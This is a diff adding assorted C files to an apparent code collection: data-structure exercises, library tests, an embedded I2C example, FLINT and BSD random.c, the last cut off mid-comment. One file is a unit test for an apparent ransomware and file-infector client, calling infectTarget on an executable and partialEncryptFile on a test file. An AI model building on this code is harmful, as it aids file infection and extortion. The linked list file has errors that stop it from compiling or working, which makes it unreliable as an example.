diff --git a/pool/shard001/C/0023763_CircularLinkedList.c b/pool/shard001/C/0023763_CircularLinkedList.c
new file mode 100644
index 0000000000000000000000000000000000000000..4e6e612e753457850754cd796894d7e6b7c934c6
--- /dev/null
+++ b/pool/shard001/C/0023763_CircularLinkedList.c
@@ -0,0 +1,203 @@
+/*****************************************************************************
+* File       : circular linked list.c
+* Function   : The  file complete circular linked list,can add node,delete node, search node and insert node
+* Description: To be done.           
+* Version    : V0.10
+* Author     : JOE
+* Date       : 4th Jan 2018
+* History    :  No.  When           Who           What
+*                  1    4/Jan/2018     JOE           Create
+
+ ******************************************************************************/
+#define TRUE 1
+#define FALSE 0
+
+typedef struct ListNode
+{
+   int iData;
+   struct ListNode *pNext;
+}LISTNODE_T;
+
+static LISTNODE_T *sg_ptHead = NULL;
+static LISTNODE_T sg_tNode;/*The node can't be deleted*/
+#define LEN sizeof(LISTNODE_T)
+/********************************************************
+* Name       : LISTNODE_T *AddNodeToTail(int iData)
+* Function   :Add node to tail
+* Input      : int iData 1~255   Data for add
+
+* Output:    : sg_ptHead The head of the list 0x00000000~0xffffffff   
+* Return     : NULL   Failed operation
+*            : Other  Sucess operation
+* Description: To be done
+* Version    : V0.10
+* Author     : JOE
+* Date       : 2nd Jan 2018
+*********************************************************/
+LISTNODE_T *AddNodeToTail(int iData)
+{
+    LISTNODE_T *ptTmp,*ptElm;
+    ptTmp = (LISTNODE_T *)malloc(LEN);
+    if(NULL == ptTmp)
+    {
+        printf("It's out of memory");
+        return NULL;
+    }
+    ptTmp->iData = iData;
+    ptTmp->pNext = sg_ptHead;
+    /*the add iData is the first must modify sg_ptHead*/
+    if(sg_ptHead->pNext == sg_ptHead)
+    {
+        sg_ptHead->pNext = ptTmp;
+        return ptTmp;
+    }
+    ptElm = sg_ptHead;
+    while(sg_ptHead != ptElm->pNext)
+    {
+        ptElm = ptElm->pNext;
+    }
+    ptElm->pNext = ptTmp;
+    return ptTmp;
+}
+/********************************************************
+* Name       : int DelNode(int iData)
+* Function   : Delete a node from list which value is equal to idata 
+* Input      : LISTNODE_T **pHead  0x00000000~0xffffffff    Address of the head node's address;
+                   int iData 1~255   Data for add
+
+* Output:    : sg_ptHead The head of the list 0x00000000~0xffffffff   
+* Return     :  FALSE Node del fail
+*              TRUE  Node del sucess.
+* Description: To be done
+* Version    : V0.10
+* Author     : JOE
+* Date       : 2nd Jan 2018
+*********************************************************/
+
+int DelNode(int iData)
+{
+    LISTNODE_T *ptTmp,*ptTmp1;
+    ptTmp = sg_ptHead->pNext;
+    /*del all nodes which value is equal to idata*/
+    while(sg_ptHead != ptTmp)
+    {
+        if(iData == ptTmp->iData)
+        {
+            ptTmp1 = ptTmp->pNext;
+            free(ptTmp);
+            ptTmp1 = ptTmp;
+            continue;
+        }
+        ptTmp1 = ptTmp;
+        ptTmp = ptTmp->pNext;
+    }
+    return TRUE;
+}
+/********************************************************
+* Name       : int GetElem(int iData)
+* Function   : find node from list
+* Input      : LISTNODE_T **pHead  0x00000000~0xffffffff    Address of the head node's address;
+                   int iData 1~255   Data for add
+
+* Output:    : None
+* Return     : FALSE   Failed operation
+*            : TRUE  Sucess operation
+* Description: To be done
+* Version    : V0.10
+* Author     : JOE
+* Date       : 2nd Jan 2018
+*********************************************************/
+int GetElem(LISTNODE_T **pHead,int iData)
+{
+    LISTNODE_T *ptElm;
+    ptElm = sg_ptHead->pNext;
+    while(sg_ptHead != ptElm)
+    {
+        if(iData == ptElm->iData)
+        {
+            printf("%d is in the list",iData);
+            return TRUE;
+        }
+        ptElm = ptElm->pNext;
+    }
+    printf("%d is not in the list",iData);
+    return FALSE;
+}
+/********************************************************
+* Name       : LISTNODE_T *InsertNode(int iData)
+* Function   : Insert node to list,put the big  behind small
+* Input      : LISTNODE_T **pHead  0x00000000~0xffffffff    Address of the head node's address;
+                   int iData 1~255   Data for add
+
+* Output:    : sg_ptHead The head of the list 0x00000000~0xffffffff   
+* Return     : NULL   Failed operation
+*            : Other  Sucess operation
+*              0x00000004~0xffffffff   Node insert sucess.
+* Description: To be done
+* Version    : V0.10
+* Author     : JOE
+* Date       : 2nd Jan 2018
+*********************************************************/
+LISTNODE_T *InsertNode(int iData)
+{
+    LISTNODE_T *ptElm,*ptTmp;
+    ptTmp = (LISTNODE_T *)malloc(LEN);
+    if(NULL == ptTmp)
+    {
+        printf("It's out of memory");
+        return NULL;
+    }
+    ptElm = sg_ptHead;
+    ptTmp->iData = iData;
+    /*the insert iData is the first must modify sg_ptHead*/
+    if(sg_ptHead->pNext == sg_ptHead)
+    {
+        sg_ptHead->pNext = ptTmp;
+        return ptTmp;
+    }
+    while((sg_ptHead != ptElm->pNext)&&(ptTmp->iData > ptElm->iData))
+    {
+        ptElm = ptElm->pNext;
+    }
+    ptTmp->pNext = ptElm->pNext;
+    ptElm->pNext = ptTmp;
+    return ptTmp;
+}
+
+int main()
+{
+    int iTmp;
+    LISTNODE_T *ptHead,*ptTmp,*ptNode;
+    /*init a static global circular list */
+    sg_tNode.iData = 0;
+    sg_tNode.pNext =sg_ptHead;
+    sg_ptHead = sg_tNode;
+    
+    ptNode = AddNodeToTail(1);
+
+    ptTmp = sg_ptHead;
+    while(NULL != ptTmp)
+    {
+        printf("%d\n",ptTmp->iData);
+        ptTmp = ptTmp->pNext;
+    }
+    ptNode = AddNodeToTail(2);
+    ptNode = AddNodeToTail(3);
+    ptTmp = sg_ptHead;
+    while(NULL != ptTmp)
+    {
+        printf("%d\n",ptTmp->iData);
+        ptTmp = ptTmp->pNext;
+    }
+    GetElem(2);
+    GetElem(5);
+    ptNode = InsertNode(5);
+    GetElem(5);
+    iTmp = DelNode(5);
+    GetElem(5);
+    return TRUE;
+}
+
+/*End of file*/
+
+
diff --git a/pool/shard001/C/0023796_TestLibraryLoadLibrary.c b/pool/shard001/C/0023796_TestLibraryLoadLibrary.c
new file mode 100644
index 0000000000000000000000000000000000000000..1c9a58fb4332a8e5c064b136f133e55ea8c8e021
--- /dev/null
+++ b/pool/shard001/C/0023796_TestLibraryLoadLibrary.c
@@ -0,0 +1,50 @@
+
+#include <stdio.h>
+#include <winpr/crt.h>
+#include <winpr/path.h>
+#include <winpr/tchar.h>
+#include <winpr/windows.h>
+#include <winpr/library.h>
+
+int TestLibraryLoadLibrary(int argc, char* argv[])
+{
+	HINSTANCE library;
+	LPCSTR SharedLibraryExtension;
+	CHAR LibraryPath[PATHCCH_MAX_CCH];
+	PCHAR p;
+
+	if (!GetModuleFileNameA(NULL, LibraryPath, PATHCCH_MAX_CCH))
+	{
+		printf("%s: GetModuleFilenameA failed: 0x%08"PRIX32"\n", __FUNCTION__, GetLastError());
+		return -1;
+	}
+
+	/* PathCchRemoveFileSpec is not implemented in WinPR */
+
+	if (!(p = strrchr(LibraryPath, PathGetSeparatorA(PATH_STYLE_NATIVE))))
+	{
+		printf("%s: Error identifying module directory path\n", __FUNCTION__);
+		return -1;
+	}
+	*p = 0;
+
+	NativePathCchAppendA(LibraryPath, PATHCCH_MAX_CCH, "TestLibraryA");
+	SharedLibraryExtension = PathGetSharedLibraryExtensionA(PATH_SHARED_LIB_EXT_WITH_DOT);
+	NativePathCchAddExtensionA(LibraryPath, PATHCCH_MAX_CCH, SharedLibraryExtension);
+
+	printf("%s: Loading Library: '%s'\n", __FUNCTION__, LibraryPath);
+
+	if (!(library = LoadLibraryA(LibraryPath)))
+	{
+		printf("%s: LoadLibraryA failure: 0x%08"PRIX32"\n", __FUNCTION__, GetLastError());
+		return -1;
+	}
+
+	if (!FreeLibrary(library))
+	{
+		printf("%s: FreeLibrary failure: 0x%08"PRIX32"\n", __FUNCTION__, GetLastError());
+		return -1;
+	}
+
+	return 0;
+}
diff --git a/pool/shard001/C/0023797_unzzipcat-big.c b/pool/shard001/C/0023797_unzzipcat-big.c
new file mode 100644
index 0000000000000000000000000000000000000000..111ef47f36a17f41689e99b48b07c6f25227da79
--- /dev/null
+++ b/pool/shard001/C/0023797_unzzipcat-big.c
@@ -0,0 +1,141 @@
+/*
+ *	Copyright (c) 2003 Guido Draheim <guidod@gmx.de>
+ *      Use freely under the restrictions of the ZLIB license.
+ *
+ *      This file is used as an example to clarify zzipfseeko api usage.
+ */
+
+#include <zzip/fseeko.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <zzip/__mkdir.h>
+#include <zzip/__string.h>
+#include <zzip/__debug.h>
+#include <zzip/__fnmatch.h>
+#include "unzzipcat-zip.h"
+#include "unzzip-states.h"
+
+/* Functions in unzzip.c: */
+extern int exitcode(int);
+extern FILE* create_fopen(char*, char*, int);
+
+static void unzzip_big_entry_fprint(ZZIP_ENTRY* entry, FILE* out)
+{
+    ZZIP_ENTRY_FILE* file = zzip_entry_fopen (entry, 0);
+    if (file) 
+    {
+	char buffer[1024]; int len;
+	while ((len = zzip_entry_fread (buffer, 1024, 1, file)))
+	{
+	    DBG2("entry read %i", len);
+	    fwrite (buffer, len, 1, out);
+	}
+	DBG2("entry done %s", strerror(errno));
+	zzip_entry_fclose (file);
+    } else
+    {
+        DBG2("could not open entry: %s", strerror(errno));
+    }
+}
+
+static void unzzip_cat_file(FILE* disk, char* name, FILE* out)
+{
+    ZZIP_ENTRY_FILE* file = zzip_entry_ffile (disk, name);
+    if (file) 
+    {
+	char buffer[1024]; int len;
+	while ((len = zzip_entry_fread (buffer, 1024, 1, file)))
+	    fwrite (buffer, len, 1, out);
+	
+	zzip_entry_fclose (file);
+    }
+}
+
+
+static int unzzip_cat (int argc, char ** argv, int extract)
+{
+    int done = 0;
+    int argn;
+    FILE* disk;
+
+    disk = fopen (argv[1], "rb");
+    if (! disk) {
+	perror(argv[1]);
+	return exitcode(errno);
+    }
+
+    if (argc == 2)
+    {  /* print directory list */
+	ZZIP_ENTRY* entry = zzip_entry_findfirst(disk);
+	for (; entry ; entry = zzip_entry_findnext(entry))
+	{
+	    char* name = zzip_entry_strdup_name (entry);
+	    FILE* out = stdout;
+	    if (! name) {
+	        done = EXIT_WARNINGS;
+	        continue;
+	    }
+	    if (extract) out = create_fopen(name, "wb", 1);
+	    if (! out) {
+	        if (errno != EISDIR) done = EXIT_ERRORS;
+	        continue;
+	    }
+	    unzzip_cat_file (disk, name, out);
+	    if (extract) fclose(out);
+	    free (name);
+	}
+	return done;
+    }
+
+    if (argc == 3 && !extract)
+    {  /* list from one spec */
+	ZZIP_ENTRY* entry = 0;
+	while ((entry = zzip_entry_findmatch(disk, argv[2], entry, 0, 0)))
+	{
+	     unzzip_big_entry_fprint (entry, stdout);
+	}
+	return 0;
+    }
+
+    for (argn=1; argn < argc; argn++)
+    {   /* list only the matching entries - each in order of commandline */
+	ZZIP_ENTRY* entry = zzip_entry_findfirst(disk);
+	for (; entry ; entry = zzip_entry_findnext(entry))
+	{
+	    char* name = zzip_entry_strdup_name (entry);
+	    DBG3(".. check '%s' to zip '%s'", argv[argn], name);
+	    if (! _zzip_fnmatch (argv[argn], name, 
+		_zzip_FNM_NOESCAPE|_zzip_FNM_PATHNAME|_zzip_FNM_PERIOD))
+	    {
+	        FILE* out = stdout;
+	        if (extract) out = create_fopen(name, "wb", 1);
+		if (! out) {
+		    if (errno != EISDIR) done = EXIT_ERRORS;
+		    continue;
+		}
+		unzzip_cat_file (disk, name, out);
+		if (extract) fclose(out);
+		break; /* match loop */
+	    }
+	    free (name);
+	}
+    }
+    return done;
+} 
+
+int unzzip_print (int argc, char ** argv)
+{
+    return unzzip_cat(argc, argv, 0);
+}
+
+int unzzip_extract (int argc, char ** argv)
+{
+    return unzzip_cat(argc, argv, 1);
+}
+
+/* 
+ * Local variables:
+ * c-file-style: "stroustrup"
+ * End:
+ */
diff --git a/pool/shard001/C/0023811_fc_ave.c b/pool/shard001/C/0023811_fc_ave.c
new file mode 100644
index 0000000000000000000000000000000000000000..428ef935fbff87aebf053b4bdfadce0227b558bf
--- /dev/null
+++ b/pool/shard001/C/0023811_fc_ave.c
@@ -0,0 +1,121 @@
+
+#include "stuff.h"
+
+
+typedef struct plist
+{
+  int x,y;
+  struct plist *next;
+}
+LIST;
+
+
+#define popd(list_of_points)\
+  if(list_of_points != NULL)\
+  list_of_points = list_of_points->next;
+
+extern int AverageBlockSize;
+ 
+#define On 0
+
+byte *FcAverage()
+
+
+{
+  extern IMAGE im_struct;
+  extern byte *image;
+  
+  LIST *list=NULL, *tmp=NULL;
+    
+  byte *imnew;  
+
+  short *candidates;
+  
+
+  int width=im_struct.width,
+  height = im_struct.height,
+  n, sum, Flag,Adding,
+  x,y,k,l,
+  s2 = AverageBlockSize/2;
+  
+  candidates = im_struct.candidates;
+  
+  
+  imnew = (byte*)malloc(sizeof(byte)*width*height);
+  
+  for(k=0; k<height; ++k)
+    for(l=0; l<= width; ++l)
+      {
+	if(k<s2 || k>height-s2 || l<s2 || l>width-s2 
+	   || candidates[k*width+l] <= StrongEdge)
+	  imnew[k*width+l] = image[k*width+l];
+	else
+	  {
+	    n=0;
+	    sum = 0;  
+	    list = NULL;
+	    tmp = NULL;
+	    
+	    pushd(list,l,k);
+	    Adding = TRUE;
+	    
+	    while(Adding)
+	      {
+		Adding = FALSE;
+		++n;
+		x = list->x;
+		y = list->y;
+		sum += image[y*width+x];
+		
+		if(candidates[y*width + x+1] > StrongEdge && x+1 < l+s2+1 && x+1<width)
+		  {
+		    tmp = list;
+		    while(tmp != NULL )
+		      {
+			if(tmp->x == x+1 && tmp->y == y)
+			  {
+			    tmp = NULL;
+			    Flag = FALSE;
+			  }
+			else
+			  tmp = tmp->next;
+		      }
+		    if(Flag)
+		      {
+			++n;
+			sum += image[y*width+x+1];
+			tmp = (LIST*)malloc(sizeof(LIST));
+			tmp->x =x+1;
+			tmp->y = y;
+			tmp->next = list;
+			list = tmp;
+		      }
+		    
+		  }
+		if(candidates[y*width + x-1]> StrongEdge && x-1 >l-s2-1 && x-1>0)
+		  {
+		    ++n;
+		    sum += image[y*width+x-1];
+		    pushd(list,(x-1),y);
+		  }
+		if(candidates[(y+1)*width + x] > StrongEdge && y+1 < k+s2+1 && y+1<height)
+		  {
+		    ++n;
+		    sum += image[(y+1)*width + x];
+		    pushd(list,x,(y+1));
+		  }
+		if(candidates[(y-1)*width + x] > StrongEdge && y-1 > k-s2-1 && y-1>0) 
+		  { 
+		    ++n;
+		    sum += image[(y-1)*width + x];
+		    pushd(list,x,(y-1));
+		  }
+		
+	      }
+	    imnew[k*width+l] = sum/n;
+	  }
+      }
+
+  return(imnew);
+  
+}
diff --git a/pool/shard001/C/0023812_eusci_b_i2c_ex3_masterTxMultiple.c b/pool/shard001/C/0023812_eusci_b_i2c_ex3_masterTxMultiple.c
new file mode 100644
index 0000000000000000000000000000000000000000..dc94fbece97eef8dcd3a96d60a25c9ec759dfe9d
--- /dev/null
+++ b/pool/shard001/C/0023812_eusci_b_i2c_ex3_masterTxMultiple.c
@@ -0,0 +1,191 @@
+/* --COPYRIGHT--,BSD
+ * Copyright (c) 2016, Texas Instruments Incorporated
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * *  Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *
+ * *  Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * *  Neither the name of Texas Instruments Incorporated nor the names of
+ *    its contributors may be used to endorse or promote products derived
+ *    from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+ * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
+ * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * --/COPYRIGHT--*/
+#include "driverlib.h"
+
+//******************************************************************************
+//! This example shows how to configure the I2C module as a master for
+//! multi byte transmission in interrupt driven mode. The address of the slave
+//! module is set in this example.
+//!
+//!  MSP430F5xx_6xx Demo - USCI_B0 I2C Master TX multiple bytes to MSP430 Slave
+//!
+//!  Description: This demo connects two MSP430's via the I2C bus. The master
+//!  transmits to the slave. This is the MASTER CODE. It cntinuously
+//!  transmits an array of data and demonstrates how to implement an I2C
+//!  master transmitter sending multiple bytes using the USCI_B0 TX interrupt.
+//!  ACLK = n/a, MCLK = SMCLK = BRCLK = default DCO = ~1.045MHz
+//!
+//!                                /|\  /|\
+// //!                MSP430F67791A    10k  10k      MSP430F67791A
+//!                   slave         |    |         master
+//!             -----------------   |    |   -----------------
+//!           -|XIN  P2.6/UCB0SDA|<-|----+->|P2.6/UCB0SDA  XIN|-
+//!            |                 |  |       |                 |
+//!           -|XOUT             |  |       |             XOUT|-
+//!            |     P2.5/UCB0SCL|<-+------>|P2.5/UCB0SCL     |
+//!            |                 |          |                 |
+//!
+//! This example uses the following peripherals and I/O signals.  You must
+//! review these and change as needed for your own board:
+//! - I2C peripheral
+//! - GPIO Port peripheral (for I2C pins)
+//! - SCL2
+//! - SDA
+//!
+//! This example uses the following interrupt handlers.  To use this example
+//! in your own application you must add these interrupt handlers to your
+//! vector table.
+//! - USCI_B0_VECTOR.
+//
+
+//******************************************************************************
+//*****************************************************************************
+//
+//Set the address for slave module. This is a 7-bit address sent in the
+//following format:
+//[A6:A5:A4:A3:A2:A1:A0:RS]
+//
+//A zero in the "RS" position of the first byte means that the master
+//transmits (sends) data to the selected slave, and a one in this position
+//means that the master receives data from the slave.
+//
+//*****************************************************************************
+#define SLAVE_ADDRESS 0x48
+
+uint8_t TXData = 0;                    // Pointer to TX data
+uint8_t TXByteCtr;
+
+void main(void)
+{
+    WDT_A_hold(WDT_A_BASE);
+
+    //Set the XT1 frequency to UCS
+    UCS_setExternalClockSource(32768, 0);
+
+    //Configure Pins for I2C (UCB0SCL, UCB0SDA)
+    //Set P2.5 and P2.6 as Module Function Input
+    GPIO_setAsPeripheralModuleFunctionInputPin(
+        GPIO_PORT_P2,
+        GPIO_PIN5 + GPIO_PIN6
+        );
+
+    EUSCI_B_I2C_initMasterParam param = {0};
+    param.selectClockSource = EUSCI_B_I2C_CLOCKSOURCE_SMCLK;
+    param.i2cClk = UCS_getSMCLK();
+    param.dataRate = EUSCI_B_I2C_SET_DATA_RATE_400KBPS;
+    param.byteCounterThreshold = 0;
+    param.autoSTOPGeneration = EUSCI_B_I2C_NO_AUTO_STOP;
+    EUSCI_B_I2C_initMaster(EUSCI_B0_BASE, &param);
+
+    //Specify slave address
+    EUSCI_B_I2C_setSlaveAddress(EUSCI_B0_BASE,
+                                SLAVE_ADDRESS
+                                );
+
+    //Set Master in receive mode
+    EUSCI_B_I2C_setMode(EUSCI_B0_BASE,
+                        EUSCI_B_I2C_TRANSMIT_MODE
+                        );
+
+    //Enable I2C Module to start operations
+    EUSCI_B_I2C_enable(EUSCI_B0_BASE);
+
+    EUSCI_B_I2C_clearInterrupt(EUSCI_B0_BASE,
+                               EUSCI_B_I2C_TRANSMIT_INTERRUPT0 +
+                               EUSCI_B_I2C_NAK_INTERRUPT
+                               );
+
+    //Enable master Receive interrupt
+    EUSCI_B_I2C_enableInterrupt(EUSCI_B0_BASE,
+                                EUSCI_B_I2C_TRANSMIT_INTERRUPT0 +
+                                EUSCI_B_I2C_NAK_INTERRUPT
+                                );
+    while(1)
+    {
+        __delay_cycles(1000);                   // Delay between transmissions
+        TXByteCtr = 4;                          // Load TX byte counter
+        TXData = 0;
+
+        while(EUSCI_B_I2C_SENDING_STOP == EUSCI_B_I2C_masterIsStopSent
+                  (EUSCI_B0_BASE))
+        {
+            ;
+        }
+
+        EUSCI_B_I2C_masterSendMultiByteStart(EUSCI_B0_BASE,
+                                             TXData++);
+
+        __bis_SR_register(CPUOFF + GIE);        // Enter LPM0 w/ interrupts
+        // Remain in LPM0 until all data
+        // is TX'd
+        // Increment data byte
+    }
+}
+
+//------------------------------------------------------------------------------
+// The USCIAB0TX_ISR is structured such that it can be used to transmit any
+// number of bytes by pre-loading TXByteCtr with the byte count. Also, TXData
+// points to the next byte to transmit.
+//------------------------------------------------------------------------------
+#if defined(__TI_COMPILER_VERSION__) || defined(__IAR_SYSTEMS_ICC__)
+#pragma vector=USCI_B0_VECTOR
+__interrupt
+#elif defined(__GNUC__)
+__attribute__((interrupt(USCI_B0_VECTOR)))
+#endif
+void USCIB0_ISR(void)
+{
+    switch(__even_in_range(UCB0IV,0x1E))
+    {
+    case 0x00: break;                                // Vector 0: No interrupts break;
+    case 0x02: break;
+    case 0x04:
+        //resend start if NACK
+        EUSCI_B_I2C_masterSendStart(EUSCI_B0_BASE);
+        break;                                      // Vector 4: NACKIFG break;
+    case 0x18:
+        if(TXByteCtr)                       // Check TX byte counter
+        {
+            EUSCI_B_I2C_masterSendMultiByteNext(EUSCI_B0_BASE,
+                                                TXData++);
+            TXByteCtr--;                                // Decrement TX byte counter
+        }
+        else
+        {
+            EUSCI_B_I2C_masterSendMultiByteStop(EUSCI_B0_BASE);
+
+            __bic_SR_register_on_exit(CPUOFF);            // Exit LPM0
+        }
+        break;                                      // Vector 26: TXIFG0 break;
+    default: break;
+    }
+}
diff --git a/pool/shard001/C/0023818_client_unit.c b/pool/shard001/C/0023818_client_unit.c
new file mode 100644
index 0000000000000000000000000000000000000000..3303cd9628c7c18af4404883065a6a22cc1027f2
--- /dev/null
+++ b/pool/shard001/C/0023818_client_unit.c
@@ -0,0 +1,104 @@
+#include "../../client/common/clonelib.h"
+#include "../../client/common/thirdparty/b64.h"
+#include "../../client/common/crypt.h"
+#include "../../client/common/ransomlib.h"
+#include "../../client/common/paths.h"
+#include "../../client/common/common.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define TEST_DIR "./playground/"
+int main(int argc, char **argv)
+{
+	argc = argc;
+	char test_string[] = "We dont need no education\0";
+
+	int status;
+
+	//TEST CLONELIB
+	char *gob;
+	int gob_length;
+	printf("Testing clonelib.h\n");
+
+	//Test function getOwnBytes
+	gob_length = getOwnBytes(&gob, argv[0]);
+	printf("getOwnBytes:\t%s(%d bytes)\n",
+	       gob_length > 256 ? "OK" : "Failed", gob_length);
+
+	//Test function infectTarget
+	status = infectTarget(TEST_DIR "hello.exe", gob, gob_length);
+	printf("infectTarget:\t%s\n", status ? "OK" : "Failed");
+
+	//free
+	free(gob);
+
+	//TEST B64
+	printf("\nTesting b64.h\n");
+	int b64_decoded_msg_length;
+	char *b64_decoded_msg;
+
+	//Test function b64decode
+	b64_decoded_msg_length = b64decode(&b64_decoded_msg, "T0s=");
+	printf("b64decode:\t%s(%s)\n",
+	       (b64_decoded_msg_length == 2
+		&& !strcmp(b64_decoded_msg, "OK")) ? "OK" : "Failed",
+	       b64_decoded_msg);
+
+
+	//Test functions b16decode and b16encode
+	status =
+	    strcmp(b16decode(b16encode(test_string, strlen(test_string))),
+		   test_string);
+	printf("b16en/decode:\t%s", status ? "Failed" : "OK");
+	if (status)
+		printf("(%s!=%s)", test_string,b16decode(b16encode(test_string, strlen(test_string))));
+	printf("\n");
+
+	//free
+	free(b64_decoded_msg);
+
+	//Test CRYPT
+	printf("\nTesting crypt.h\n");
+
+
+	//Test function secureRand
+	/*
+	   status =
+	   secureRand(&keyiv, SYMMETRIC_IV_SIZE + SYMMETRIC_KEY_SIZE);
+	   printf("secureRand:\t%s\n", status ? "OK" : "Failed"); */
+
+	//Test functions symEn/Decrypt
+	char keyiv[] = "0123456789abcdef0123*56789abcdef";
+	char encrypted_msg[16];
+	char decrypted_msg[16];
+	status = symEncrypt(encrypted_msg, keyiv, test_string, 16);
+	printf("symEncrypt:\t%s\n", status ? "OK" : "Failed");
+
+	status = symDecrypt(decrypted_msg, keyiv, encrypted_msg, 16);
+	printf("symDecrypt:\t%s\n", status ? "OK" : "Failed",
+	       decrypted_msg);
+	/*printf("Together:\t%s(%s)\n",
+	   !strcmp(decrypted_msg, test_string) ? "OK" : "Failed",
+	   decrypted_msg); */
+
+
+	//TESTING RANSOMLIB
+	printf("\nTesting ransomlib.h\n");
+
+	//Test encryption
+	status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 0);
+	printf("partialEncryptFile:\t%s\n", status ? "OK" : "Failed");
+
+	//Test Decryption
+	status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 1);
+	printf("partialEncryptFile-d:\t%s\n", status ? "OK" : "Failed");
+
+
+	//Tests paths
+	printf("\nTestings paths.h\n");
+
+	//Test
+	char *harp = NULL;
+	printf("getExternalPaths: %s\n",getExternalPaths(&harp)?"OK":"Failed");
+	return 0;
+}
diff --git a/pool/shard001/C/0023819_window_init.c b/pool/shard001/C/0023819_window_init.c
new file mode 100644
index 0000000000000000000000000000000000000000..679187e7e19c56f6d2e01a858ad8b44f4632b46b
--- /dev/null
+++ b/pool/shard001/C/0023819_window_init.c
@@ -0,0 +1,40 @@
+/*
+    Copyright (C) 2014 Abhinav Baid
+    Copyright (C) 2015 Elena Sergeicheva
+
+    This file is part of FLINT.
+
+    FLINT is free software: you can redistribute it and/or modify it under
+    the terms of the GNU Lesser General Public License (LGPL) as published
+    by the Free Software Foundation; either version 2.1 of the License, or
+    (at your option) any later version.  See <https://www.gnu.org/licenses/>.
+*/
+
+#include "fmpz_poly_mat.h"
+
+void
+fmpz_poly_mat_window_init(fmpz_poly_mat_t window, const fmpz_poly_mat_t mat, slong r1,
+                     slong c1, slong r2, slong c2)
+{
+    slong i;
+    window->entries = NULL;
+
+    if (r2 > r1)
+        window->rows = (fmpz_poly_struct **) flint_malloc((r2 - r1)
+                                                  * sizeof(fmpz_poly_struct *));
+    else
+        window->rows = NULL;
+
+    if (mat->c > 0)
+    {
+        for (i = 0; i < r2 - r1; i++)
+            window->rows[i] = mat->rows[r1 + i] + c1;
+    } else
+    {
+        for (i = 0; i < r2 - r1; i++)
+            window->rows[i] = NULL;
+    }
+
+    window->r = r2 - r1;
+    window->c = c2 - c1;
+}
diff --git a/pool/shard001/C/0023822_random.c b/pool/shard001/C/0023822_random.c
new file mode 100644
index 0000000000000000000000000000000000000000..602d253d3d07832e46989b6530befde3dbb42144
--- /dev/null
+++ b/pool/shard001/C/0023822_random.c
@@ -0,0 +1,339 @@
+/*
+ * Copyright (c) 1983 Regents of the University of California.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms are permitted
+ * provided that: (1) source distributions retain this entire copyright
+ * notice and comment, and (2) distributions including binaries display
+ * the following acknowledgement:  ``This product includes software
+ * developed by the University of California, Berkeley and its contributors''
+ * in the documentation or other materials provided with the distribution
+ * and in all advertising materials mentioning features or use of this
+ * software. Neither the name of the University nor the names of its
+ * contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+#include <random.h>
+#include <sys/types.h>
+
+/*
+ * random.c
+ *
+ * An improved random number generation package.  In addition to the standard
+ * rand()/srand() like interface, this package also has a special state info
+ * interface.  The initstate() routine is called with a seed, an array of
+ * bytes, and a count of how many bytes are being passed in; this array is then
+ * initialized to contain information for random number generation with that
+ * much state information.  Good sizes for the amount of state information are
+ * 32, 64, 128, and 256 bytes.  The state can be switched by calling the
+ * setstate() routine with the same array as was initiallized with initstate().
+ * By default, the package runs with 128 bytes of state information and
+ * generates far better random numbers than a linear congruential generator.
+ * If the amount of state information is less than 32 bytes, a simple linear
+ * congruential R.N.G. is used.
+ * Internally, the state information is treated as an array of longs; the
+ * zeroeth element of the array is the type of R.N.G. being used (small
+ * integer); the remainder of the array is the state information for the
+ * R.N.G.  Thus, 32 bytes of state information will give 7 longs worth of
+ * state information, which will allow a degree seven polynomial.  (Note: the 
+ * zeroeth word of state information also has some other information stored
+ * in it -- see setstate() for details).
+ * The random number generation technique is a linear feedback shift register
+ * approach, employing trinomials (since there are fewer terms to sum up that
+ * way).  In this approach, the least significant bit of all the numbers in
+ * the state table will act as a linear feedback shift register, and will have
+ * period 2^deg - 1 (where deg is the degree of the polynomial being used,
+ * assuming that the polynomial is irreducible and primitive).  The higher
+ * order bits will have longer periods, since their values are also influenced
+ * by pseudo-random carries out of the lower bits.  The total period of the
+ * generator is approximately deg*(2**deg - 1); thus doubling the amount of
+ * state information has a vast influence on the period of the generator.
+ * Note: the deg*(2**deg - 1) is an approximation only good for large deg,
+ * when the period of the shift register is the dominant factor.  With deg
+ * equal to seven, the period is actually much longer than the 7*(2**7 - 1)
+ * predicted by this formula.
+ */
+
+/*
+ * For each of the currently supported random number generators, we have a
+ * break value on the amount of state information (you need at least this
+ * many bytes of state info to support this random number generator), a degree
+ * for the polynomial (actually a trinomial) that the R.N.G. is based on, and
